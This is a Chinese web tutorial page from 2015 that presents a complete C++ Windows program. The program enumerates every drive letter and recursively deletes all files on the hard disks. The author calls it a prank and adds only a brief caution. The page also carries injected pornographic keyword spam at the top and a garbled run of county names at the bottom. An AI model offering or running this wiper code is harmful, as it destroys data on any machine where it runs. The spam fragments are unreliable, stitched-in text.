最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

基于Windows API實現(xiàn)遍歷所有文件并刪除的方法

 更新時間:2015年04月20日 10:26:35   作者:司青  
這篇文章主要介紹了基于Windows API實現(xiàn)遍歷所有文件并刪除的方法,是win32應用程序的一個比較典型的文件操作應用技巧,需要的朋友可以參考下

本文實例講述了基于Windows API實現(xiàn)遍歷所有文件并刪除的方法。分享給大家供大家參考。具體分析如下:

最近一直在學windows API,弄了一些好玩的東西(有點惡作劇了,請大家謹慎使用)...
下面是我現(xiàn)學現(xiàn)賣寫的一個刪除硬盤上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//遞歸
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

希望本文所述對大家的win32程序設計有所幫助。

相關文章

  • C++中函數(shù)的用法小結(jié)

    C++中函數(shù)的用法小結(jié)

    這篇文章主要為大家分享下本人在閱讀《C++ Primer》函數(shù)一章時的讀書總結(jié),需要的朋友可以參考下
    2014-02-02
  • 介紹C語言中tolower函數(shù)的實例

    介紹C語言中tolower函數(shù)的實例

    這篇文章主要介紹了介紹C語言中tolower函數(shù)的實例,本文列出了該函數(shù)的頭文件,功能說明等,以及如何使用,以下就是詳細內(nèi)容,需要的朋友可以參考下
    2021-07-07
  • C++ 中cerr和cout的區(qū)別實例詳解

    C++ 中cerr和cout的區(qū)別實例詳解

    這篇文章主要介紹了C++ 中cerr和cout的區(qū)別實例詳解的相關資料,希望通過本文能幫助到大家,讓大家理解掌握這部分內(nèi)容,需要的朋友可以參考下
    2017-09-09
  • c語言二進制數(shù)按位輸出示例

    c語言二進制數(shù)按位輸出示例

    這篇文章主要介紹了c語言二進制數(shù)按位輸出示例,需要的朋友可以參考下
    2014-03-03
  • C++中int、DWORD和QWORD示例詳解

    C++中int、DWORD和QWORD示例詳解

    當談論C++編程語言時,以下術語經(jīng)常被提及:int、DWORD和QWORD,它們是用于表示不同數(shù)據(jù)類型和長度的關鍵字,本文通過舉例給大家詳細介紹,感興趣的朋友一起看看吧
    2024-06-06
  • 線程池的原理與實現(xiàn)詳解

    線程池的原理與實現(xiàn)詳解

    下面利用C語言來實現(xiàn)一個簡單的線程池,為了使得這個線程池庫使用起來更加方便,特在C實現(xiàn)中加入了一些OO的思想,與Objective-C不同,它僅僅是使用了struct來模擬了c++中的類,其實這種方式在linux內(nèi)核中大量可見
    2013-09-09
  • C\C++ 獲取當前路徑實例詳解

    C\C++ 獲取當前路徑實例詳解

    這篇文章主要介紹了C\C++ 獲取當前路徑實例詳解的相關資料,需要的朋友可以參考下
    2017-06-06
  • 常用的C語言排序算法(兩種)

    常用的C語言排序算法(兩種)

    本文給大家分享兩種常用的C語言排序算法,代碼非常簡單,感興趣的朋友可以參考下
    2016-09-09
  • Qt自定義控件實現(xiàn)進度儀表盤

    Qt自定義控件實現(xiàn)進度儀表盤

    這篇文章主要介紹了Qt自定義控件實現(xiàn)進度儀表盤,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2019-12-12
  • C語言線程池的常見實現(xiàn)方式詳解

    C語言線程池的常見實現(xiàn)方式詳解

    本文介紹了如何使用 C 語言實現(xiàn)一個基本的線程池,線程池的實現(xiàn)包括工作線程、任務隊列、任務調(diào)度、線程池的初始化、任務添加、銷毀等步驟,感興趣的朋友跟隨小編一起看看吧
    2025-01-01

最新評論

镇原县| 玉门市| 吴桥县| 霍邱县| 廉江市| 望谟县| 兴业县| 招远市| 永年县| 囊谦县| 武强县| 环江| 珠海市| 吉安县| 务川| 泰宁县| 万荣县| 兴城市| 华容县| 五家渠市| 琼海市| 阿巴嘎旗| 晋中市| 错那县| 铜山县| 炎陵县| 海兴县| 鸡东县| 康定县| 永吉县| 高密市| 南京市| 闽侯县| 南投县| 南昌市| 金昌市| 景谷| 壶关县| 双鸭山市| 固始县| 长泰县|